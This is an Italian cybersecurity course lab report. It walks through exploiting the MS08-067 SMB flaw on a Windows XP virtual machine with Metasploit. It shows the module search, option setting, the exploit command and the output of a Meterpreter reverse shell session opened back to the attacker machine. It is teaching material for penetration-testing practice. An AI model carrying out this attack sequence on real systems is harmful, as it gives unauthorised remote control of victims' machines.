



# CONSEGNA S7 / L3

DI GIUSEPPE LUPOI

## PRATICA DEL GIORNO

Oggi viene richiesto di ottenere una sessione di Meterpreter sul target Windows XP sfruttando con Metasploit la vulnerabilità MS08-067.

Una volta ottenuta la sessione, si dovrà:

- 01 Recuperare uno screenshot tramite la sessione Meterpreter.
- 02 Individuare la presenza o meno di Webcam sulla macchina Windows XP (opzionale).

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: You can pivot connections over sessions started with the
ssh_login modules

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018  es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)

Stack: 90909090909090909090909090909090
90909090909090909090909090909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900
.....
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccc.....
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....cccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....
ffffffffffffffffffffffffffff
ffffff.....
ffffffffffffffffffffffffffff
B fffffff.....
ffffff.....
ffffff.....

Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 IO N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

      =[ metasploit v6.3.50-dev                               ]
+ -- --=[ 2384 exploits - 1235 auxiliary - 417 post           ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops              ]
+ -- --=[ 9 evasion                                           ]
```

# MSFCONSOLE

Per svolgere l'attività di oggi avviamo sia Windows XP precedentemente installato e la nostra Kali Linux.

Dunque avviamo un terminale su Kali ed avviamo Metasploit con il comando msfconsole.

Ricercheremo il modulo di cui abbiamo bisogno per iniziare l'attacco, quindi useremo il comando per ricercarlo come vedete di seguito nella figura qua sotto.

“search ms08\_067”

```
msf6 > search ms08_067
```

```
Matching Modules
```

| # | Name                                | Disclosure Date | Rank  | Check | Description  |
|---|-------------------------------------|-----------------|-------|-------|--|
| 0 | exploit/windows/smb/ms08_067_netapi | 2008-10-28      | great | Yes   | MS08-067 Microsoft Server Service Relative Path Stack Corruption |

```
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
```



Arrivati a questo punto controlliamo le impostazioni di cui ha bisogno il modulo per avviare l'attacco, le possiamo controllare con il comando "info".

```
msf6 exploit(windows/smb/ms08_067_netapi) > info

Name: MS08-067 Microsoft Server Service Relative Path Sta
Module: exploit/windows/smb/ms08_067_netapi
Platform: Windows
File Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2008-10-28

Provided by:
hdm <x@hdm.io>
Brett Moore <brett.moore@insomniasec.com>
frank2 <frank2@dc949.org>
jduck <jduck@metasploit.com>

Available targets:
  Id  Name
  --  ---
⇒ 0   Automatic Targeting
  1   Windows 2000 Universal
  2   Windows XP SP0/SP1 Universal
  3   Windows 2003 SP0 Universal
  4   Windows XP SP2 English (AlwaysOn NX)
  5   Windows XP SP2 English (NX)
  6   Windows XP SP3 English (AlwaysOn NX)
  7   Windows XP SP3 English (NX)
  8   Windows XP SP2 Arabic (NX)
  9   Windows XP SP2 Chinese - Traditional / Taiwan (NX)
 10   Windows XP SP2 Chinese - Simplified (NX)
 11   Windows XP SP2 Chinese - Traditional (NX)
 12   Windows XP SP2 Czech (NX)
 13   Windows XP SP2 Danish (NX)
 14   Windows XP SP2 German (NX)
 15   Windows XP SP2 Greek (NX)
 16   Windows XP SP2 Spanish (NX)
 17   Windows XP SP2 Finnish (NX)
 18   Windows XP SP2 French (NX)
 19   Windows XP SP2 Hebrew (NX)
 20   Windows XP SP2 Hungarian (NX)
 21   Windows XP SP2 Italian (NX)
 22   Windows XP SP2 Japanese (NX)
 23   Windows XP SP2 Korean (NX)
 24   Windows XP SP2 Dutch (NX)
 25   Windows XP SP2 Norwegian (NX)
 26   Windows XP SP2 Polish (NX)
```

Nella sezione “**Basic options**” troviamo le impostazioni da modificare, saranno appunto da modificare le opzioni che avranno la voce “yes” nella colonna “**Required**”.

In questo caso non andremo a modificare la voce “SMBPIPE” né la voce “RPORT” perchè sono già corrette.

```
Basic options:
  Name      Current Setting  Required  Description
  -----
  RHOSTS    yes                    The target host(s), see https://
  RPORT     445                   The SMB service port (TCP)
  SMBPIPE   BROWSER               yes       The pipe name to use (BROWSER,

Payload information:
  Space: 408
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization co
  NetAPI32.dll through the Server Service. This module is capable of
  NX on some operating systems and service packs. The correct target
  used to prevent the Server Service (along with a dozen others in th
  process) from crashing. Windows XP targets seem to handle multiple
  exploitation events, but 2003 targets will often crash or hang on s
  attempts. This is just the first version of this module, full suppo
  NX bypass on 2003, along with other platforms, is still in developm

References:
  https://nvd.nist.gov/vuln/detail/CVE-2008-4250
  OSVDB (49243)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins
  https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-netapi-netpathc

View the full module info with the info -d command.
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.1.200  
rhosts => 192.168.1.200  
msf6 exploit(windows/smb/ms08_067_netapi) > info
```

Possiamo quindi procedere col cambio dei  
“**RHOSTS**” andando ad impostare l’indirizzo IP del  
target che ci interessa, ovvero la nostra macchina  
Windows XP.

Daremo quindi il comando “set rhosts 192.168.1.200”

Digitiamo “show options” e vedremo che l’indirizzo da noi digitato in precedenza è stato inserito.

| Name    | Current Setting | Required | Description   |
|---------|-----------------|----------|---|
| RHOSTS  | 192.168.1.200   | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/4/using-metasploit-4.html">https://docs.metasploit.com/docs/using-metasploit/4/using-metasploit-4.html</a> |
| RPORT   | 445             | yes      | The SMB service port (TCP)  |
| SMBPIPE | BROWSER         | yes      | The pipe name to use (BROWSER, SRVSVC)  |



Non ci resta che avviare l'attacco, diamo il comando “exploit”, se tutto è stato impostato in modo corretto il terminale ci avviserà che è stata creata una sessione di Meterpreter sulla vittima.

Per avere una controprova del effettivo successo digitiamo il comando “ifconfig”, se nelle interfacce del sistema vediamo l'indirizzo IP del nostro target saremo riusciti nel nostro intento.

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.200:445 - Automatically detecting the target...
[*] 192.168.1.200:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.200:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.200:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.1.200
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.200:1053) at 2024-01-17 14:37:30 +0100

meterpreter > ifconfig

Interface 1
=====
Name       : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU        : 1520
IPv4 Address : 127.0.0.1

Interface 2
=====
Name       : Realtek RTL8139 Family PCI Fast Ethernet NIC - Packet Scheduler Miniport
Hardware MAC : ea:01:94:d1:e2:7e
MTU        : 1500
IPv4 Address : 192.168.1.200
IPv4 Netmask : 255.255.255.0
```